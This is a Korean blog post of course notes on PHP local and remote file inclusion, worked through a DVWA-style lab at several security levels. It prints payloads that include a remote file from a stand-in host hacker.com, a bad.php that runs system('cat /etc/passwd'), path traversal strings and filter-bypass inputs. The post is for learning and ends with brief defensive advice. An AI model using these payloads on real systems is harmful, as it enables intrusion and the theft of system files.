Covenant

본 포스트는 https://www.udemy.com/의 강좌 화이트헤커가 되기 위한 8가지 웹 해킹 기술 강좌를 바탕으로 작성했습니다.


 PHP 애플리케이션에서 발생하는 공격이다. PHP include()를 통해서 지정한 파일을 직접 소스코드에 삽입할 수 있기 때문이다.

파일 인클루젼은 2가지로 나뉜다.

[1]로컬파일인쿨르전(LFI) - 웹서버 시스템이 이미 존재하는 파일을 인클루드 하는 것이다.

[2]리모트파일인클루젼(RFI) - 더 강력한 공격으로 원격으로 외부의 파일을 인클루드 할 수 있다.

 

[공격 시나리오]

정상적인 상황에서

page=file.php

include(file.php)

file.php를 인클루드 하고 있다.

 이때 해커는 page=http://hacker.com/bad.php 로 인클루드 할 것을 지정한다. 웹 에플리케이션이 따로 지정되지 않으면 hacker.com bad.php값을 받아와서 인클루드 한 다음에 bad.php파일을 실행하게 된다.

 

[파일 인클루젼 공격 실습]


Low Level

File Inclusion 메뉴를 누르면 ?page=include.php에서 인클루드 되는 것이다

File1을 누르면 주소창에 file1.php 이렇게 이름이 바뀐다. 해당하는 php파일이 인클루드 되는 것이다.

주소?page=http://127.0.0.1/bad.php 하면 bad.php가 실행된다.

bad.php내용

<?php

print "RFI SUCCESS!! hacked!!!";

system('cat /etc/passwd');

?>

 

page=../../../../../../../etc/passwd 라고 입력한다. 이런 방식으로 상위 디렉토리로 가서 공격하는 것을 패스 트레버셜(Path Traversal) 공격이라고 한다.

 

 

Medium Level


입력 값 검증하는 것이 생겼다.

../를 막는 부분도 있다.

그런데 hthttp://tp://127.0.0.1/bad.php 처럼 http 사이에 http를 쓰면 막지 못한다.

http://를 지우지만. 지우고 남은 문자열이 http://를 구성하기 때문이다.



High Level 


file*로 검사한다.

전체 루틴을 통해 페이지 파라미터가 include.php가 아니라면 에러를 발생시킨다.


file검사를 하므로 ?page=file../../../../../../../etc/passwd 라고 입력한다.

 


임파서블 단계

파일이 정확하게 인클루드 됬는지 확인한다.

반드시 필요한 파일만 인클루드 되도록 철처히 검사 해야 한다.